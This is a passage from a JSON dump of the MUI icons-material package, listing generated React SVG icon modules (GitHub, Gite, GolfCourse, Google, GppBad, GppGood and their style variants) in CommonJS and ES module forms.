    "content": "'use client';\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 1.27a11 11 0 00-3.48 21.46c.55.09.73-.28.73-.55v-1.84c-3.03.64-3.67-1.46-3.67-1.46-.55-1.29-1.28-1.65-1.28-1.65-.92-.65.1-.65.1-.65 1.1 0 1.73 1.1 1.73 1.1.92 1.65 2.57 1.2 3.21.92a2 2 0 01.64-1.47c-2.47-.27-5.04-1.19-5.04-5.5 0-1.1.46-2.1 1.2-2.84a3.76 3.76 0 010-2.93s.91-.28 3.11 1.1c1.8-.49 3.7-.49 5.5 0 2.1-1.38 3.02-1.1 3.02-1.1a3.76 3.76 0 010 2.93c.83.74 1.2 1.74 1.2 2.94 0 4.21-2.57 5.13-5.04 5.4.45.37.82.92.82 2.02v3.03c0 .27.1.64.73.55A11 11 0 0012 1.27\"\n}), 'GitHub');"
  },
  {
    "path": "packages/mui-icons-material/lib/Gite.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 6H9V4H7v2H6l-4 4v9h20v-9zM4 12h10v5H4zm16 5h-4v-6.17l2-2 2 2z\"\n}), 'Gite');"
  },
  {
    "path": "packages/mui-icons-material/lib/Gite.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 6H9V4H7v2H6l-4 4v9h20v-9zM4 12h10v5H4zm16 5h-4v-6.17l2-2 2 2z\"\n}), 'Gite');"
  },
  {
    "path": "packages/mui-icons-material/lib/GiteOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 6H9V4H7v2H6l-4 4v9h20v-9zM4 12h10v5H4zm16 5h-4v-6.17l2-2 2 2z\"\n}), 'GiteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GiteOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 6H9V4H7v2H6l-4 4v9h20v-9zM4 12h10v5H4zm16 5h-4v-6.17l2-2 2 2z\"\n}), 'GiteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GiteRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.41 9.41-2.83-2.83c-.37-.37-.88-.58-1.41-.58H9V5c0-.55-.45-1-1-1s-1 .45-1 1v1h-.17c-.53 0-1.04.21-1.42.59L2.59 9.41c-.38.38-.59.89-.59 1.42V17c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-6.17c0-.53-.21-1.04-.59-1.42M14 17H4v-5h10zm6 0h-4v-6.17l2-2 2 2z\"\n}), 'GiteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GiteRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.41 9.41-2.83-2.83c-.37-.37-.88-.58-1.41-.58H9V5c0-.55-.45-1-1-1s-1 .45-1 1v1h-.17c-.53 0-1.04.21-1.42.59L2.59 9.41c-.38.38-.59.89-.59 1.42V17c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-6.17c0-.53-.21-1.04-.59-1.42M14 17H4v-5h10zm6 0h-4v-6.17l2-2 2 2z\"\n}), 'GiteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GiteSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 6H9V4H7v2H6l-4 4v9h20v-9zM4 12h10v5H4zm16 5h-4v-6.17l2-2 2 2z\"\n}), 'GiteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GiteSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 6H9V4H7v2H6l-4 4v9h20v-9zM4 12h10v5H4zm16 5h-4v-6.17l2-2 2 2z\"\n}), 'GiteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GiteTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 12h10v5H4zm16 5h-4v-6.17l2-2 2 2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 6H9V4H7v2H6l-4 4v9h20v-9zM4 12h10v5H4zm16 5h-4v-6.17l2-2 2 2z\"\n}, \"1\")], 'GiteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GiteTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 12h10v5H4zm16 5h-4v-6.17l2-2 2 2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 6H9V4H7v2H6l-4 4v9h20v-9zM4 12h10v5H4zm16 5h-4v-6.17l2-2 2 2z\"\n}, \"1\")], 'GiteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GolfCourse.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"19.5\",\n  cy: \"19.5\",\n  r: \"1.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5.92 9 2v18H7v-1.73c-1.79.35-3 .99-3 1.73 0 1.1 2.69 2 6 2s6-.9 6-2c0-.99-2.16-1.81-5-1.97V8.98z\"\n}, \"1\")], 'GolfCourse');"
  },
  {
    "path": "packages/mui-icons-material/lib/GolfCourse.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"19.5\",\n  cy: \"19.5\",\n  r: \"1.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5.92 9 2v18H7v-1.73c-1.79.35-3 .99-3 1.73 0 1.1 2.69 2 6 2s6-.9 6-2c0-.99-2.16-1.81-5-1.97V8.98z\"\n}, \"1\")], 'GolfCourse');"
  },
  {
    "path": "packages/mui-icons-material/lib/GolfCourseOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"19.5\",\n  cy: \"19.5\",\n  r: \"1.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5.92 9 2v18H7v-1.73c-1.79.35-3 .99-3 1.73 0 1.1 2.69 2 6 2s6-.9 6-2c0-.99-2.16-1.81-5-1.97V8.98z\"\n}, \"1\")], 'GolfCourseOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GolfCourseOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"19.5\",\n  cy: \"19.5\",\n  r: \"1.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5.92 9 2v18H7v-1.73c-1.79.35-3 .99-3 1.73 0 1.1 2.69 2 6 2s6-.9 6-2c0-.99-2.16-1.81-5-1.97V8.98z\"\n}, \"1\")], 'GolfCourseOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GolfCourseRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"19.5\",\n  cy: \"19.5\",\n  r: \"1.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 18.03V8.98l4.22-2.15c.73-.37.73-1.43-.01-1.79l-4.76-2.33C9.78 2.38 9 2.86 9 3.6V19c0 .55-.45 1-1 1s-1-.45-1-1v-.73c-1.79.35-3 .99-3 1.73 0 1.1 2.69 2 6 2s6-.9 6-2c0-.99-2.16-1.81-5-1.97\"\n}, \"1\")], 'GolfCourseRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GolfCourseRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"19.5\",\n  cy: \"19.5\",\n  r: \"1.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 18.03V8.98l4.22-2.15c.73-.37.73-1.43-.01-1.79l-4.76-2.33C9.78 2.38 9 2.86 9 3.6V19c0 .55-.45 1-1 1s-1-.45-1-1v-.73c-1.79.35-3 .99-3 1.73 0 1.1 2.69 2 6 2s6-.9 6-2c0-.99-2.16-1.81-5-1.97\"\n}, \"1\")], 'GolfCourseRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GolfCourseSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"19.5\",\n  cy: \"19.5\",\n  r: \"1.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5.92 9 2v18H7v-1.73c-1.79.35-3 .99-3 1.73 0 1.1 2.69 2 6 2s6-.9 6-2c0-.99-2.16-1.81-5-1.97V8.98z\"\n}, \"1\")], 'GolfCourseSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GolfCourseSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"19.5\",\n  cy: \"19.5\",\n  r: \"1.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5.92 9 2v18H7v-1.73c-1.79.35-3 .99-3 1.73 0 1.1 2.69 2 6 2s6-.9 6-2c0-.99-2.16-1.81-5-1.97V8.98z\"\n}, \"1\")], 'GolfCourseSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GolfCourseTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"19.5\",\n  cy: \"19.5\",\n  r: \"1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5.92 9 2v18H7v-1.73c-1.79.35-3 .99-3 1.73 0 1.1 2.69 2 6 2s6-.9 6-2c0-.99-2.16-1.81-5-1.97V8.98z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"19.5\",\n  cy: \"19.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5.92 9 2v18H7v-1.73c-1.79.35-3 .99-3 1.73 0 1.1 2.69 2 6 2s6-.9 6-2c0-.99-2.16-1.81-5-1.97V8.98z\"\n}, \"3\")], 'GolfCourseTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GolfCourseTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"19.5\",\n  cy: \"19.5\",\n  r: \"1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5.92 9 2v18H7v-1.73c-1.79.35-3 .99-3 1.73 0 1.1 2.69 2 6 2s6-.9 6-2c0-.99-2.16-1.81-5-1.97V8.98z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"19.5\",\n  cy: \"19.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5.92 9 2v18H7v-1.73c-1.79.35-3 .99-3 1.73 0 1.1 2.69 2 6 2s6-.9 6-2c0-.99-2.16-1.81-5-1.97V8.98z\"\n}, \"3\")], 'GolfCourseTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Google.js",
    "content": "\"use strict\";\n'use client';\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.545,10.239v3.821h5.445c-0.712,2.315-2.647,3.972-5.445,3.972c-3.332,0-6.033-2.701-6.033-6.032s2.701-6.032,6.033-6.032c1.498,0,2.866,0.549,3.921,1.453l2.814-2.814C17.503,2.988,15.139,2,12.545,2C7.021,2,2.543,6.477,2.543,12s4.478,10,10.002,10c8.396,0,10.249-7.85,9.426-11.748L12.545,10.239z\"\n}), 'Google');"
  },
  {
    "path": "packages/mui-icons-material/lib/Google.mjs",
    "content": "'use client';\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.545,10.239v3.821h5.445c-0.712,2.315-2.647,3.972-5.445,3.972c-3.332,0-6.033-2.701-6.033-6.032s2.701-6.032,6.033-6.032c1.498,0,2.866,0.549,3.921,1.453l2.814-2.814C17.503,2.988,15.139,2,12.545,2C7.021,2,2.543,6.477,2.543,12s4.478,10,10.002,10c8.396,0,10.249-7.85,9.426-11.748L12.545,10.239z\"\n}), 'Google');"
  },
  {
    "path": "packages/mui-icons-material/lib/GppBad.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm3.5 12.09-1.41 1.41L12 13.42 9.91 15.5 8.5 14.09 10.59 12 8.5 9.91 9.91 8.5 12 10.59l2.09-2.09 1.41 1.41L13.42 12z\"\n}), 'GppBad');"
  },
  {
    "path": "packages/mui-icons-material/lib/GppBad.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm3.5 12.09-1.41 1.41L12 13.42 9.91 15.5 8.5 14.09 10.59 12 8.5 9.91 9.91 8.5 12 10.59l2.09-2.09 1.41 1.41L13.42 12z\"\n}), 'GppBad');"
  },
  {
    "path": "packages/mui-icons-material/lib/GppBadOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm6 9.09c0 4-2.55 7.7-6 8.83-3.45-1.13-6-4.82-6-8.83v-4.7l6-2.25 6 2.25zM9.91 8.5 8.5 9.91 10.59 12 8.5 14.09l1.41 1.41L12 13.42l2.09 2.08 1.41-1.41L13.42 12l2.08-2.09-1.41-1.41L12 10.59z\"\n}), 'GppBadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GppBadOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm6 9.09c0 4-2.55 7.7-6 8.83-3.45-1.13-6-4.82-6-8.83v-4.7l6-2.25 6 2.25zM9.91 8.5 8.5 9.91 10.59 12 8.5 14.09l1.41 1.41L12 13.42l2.09 2.08 1.41-1.41L13.42 12l2.08-2.09-1.41-1.41L12 10.59z\"\n}), 'GppBadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GppBadRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.7 4.51-6-2.25c-.45-.17-.95-.17-1.4 0l-6 2.25C4.52 4.81 4 5.55 4 6.39v4.7c0 4.94 3.27 9.57 7.71 10.83.19.05.39.05.57 0C16.73 20.66 20 16.03 20 11.09v-4.7c0-.84-.52-1.58-1.3-1.88m-3.9 10.28c-.39.39-1.02.39-1.41.01L12 13.42l-1.39 1.38c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41L10.59 12 9.2 10.61a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0L12 10.59l1.39-1.39c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41L13.42 12l1.38 1.38c.39.39.39 1.02 0 1.41\"\n}), 'GppBadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GppBadRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.7 4.51-6-2.25c-.45-.17-.95-.17-1.4 0l-6 2.25C4.52 4.81 4 5.55 4 6.39v4.7c0 4.94 3.27 9.57 7.71 10.83.19.05.39.05.57 0C16.73 20.66 20 16.03 20 11.09v-4.7c0-.84-.52-1.58-1.3-1.88m-3.9 10.28c-.39.39-1.02.39-1.41.01L12 13.42l-1.39 1.38c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41L10.59 12 9.2 10.61a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0L12 10.59l1.39-1.39c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41L13.42 12l1.38 1.38c.39.39.39 1.02 0 1.41\"\n}), 'GppBadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GppBadSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm3.5 12.09-1.41 1.41L12 13.42 9.91 15.5 8.5 14.09 10.59 12 8.5 9.91 9.91 8.5 12 10.59l2.09-2.09 1.41 1.41L13.42 12z\"\n}), 'GppBadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GppBadSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm3.5 12.09-1.41 1.41L12 13.42 9.91 15.5 8.5 14.09 10.59 12 8.5 9.91 9.91 8.5 12 10.59l2.09-2.09 1.41 1.41L13.42 12z\"\n}), 'GppBadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GppBadTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm6 9.09c0 4-2.55 7.7-6 8.83-3.45-1.13-6-4.82-6-8.83v-4.7l6-2.25 6 2.25zM9.91 8.5 8.5 9.91 10.59 12 8.5 14.09l1.41 1.41L12 13.42l2.09 2.08 1.41-1.41L13.42 12l2.08-2.09-1.41-1.41L12 10.59z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 6.39v4.7c0 4 2.55 7.7 6 8.83 3.45-1.13 6-4.82 6-8.83v-4.7l-6-2.25zm9.5 3.52L13.42 12l2.08 2.09-1.41 1.41L12 13.42 9.91 15.5 8.5 14.09 10.59 12 8.5 9.91 9.91 8.5 12 10.59l2.09-2.09z\",\n  opacity: \".3\"\n}, \"1\")], 'GppBadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GppBadTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm6 9.09c0 4-2.55 7.7-6 8.83-3.45-1.13-6-4.82-6-8.83v-4.7l6-2.25 6 2.25zM9.91 8.5 8.5 9.91 10.59 12 8.5 14.09l1.41 1.41L12 13.42l2.09 2.08 1.41-1.41L13.42 12l2.08-2.09-1.41-1.41L12 10.59z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 6.39v4.7c0 4 2.55 7.7 6 8.83 3.45-1.13 6-4.82 6-8.83v-4.7l-6-2.25zm9.5 3.52L13.42 12l2.08 2.09-1.41 1.41L12 13.42 9.91 15.5 8.5 14.09 10.59 12 8.5 9.91 9.91 8.5 12 10.59l2.09-2.09z\",\n  opacity: \".3\"\n}, \"1\")], 'GppBadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GppGood.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm-1.06 13.54L7.4 12l1.41-1.41 2.12 2.12 4.24-4.24 1.41 1.41z\"\n}), 'GppGood');"
  },
  {
    "path": "packages/mui-icons-material/lib/GppGood.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm-1.06 13.54L7.4 12l1.41-1.41 2.12 2.12 4.24-4.24 1.41 1.41z\"\n}), 'GppGood');"
  },
  {
    "path": "packages/mui-icons-material/lib/GppGoodOutlined.js",
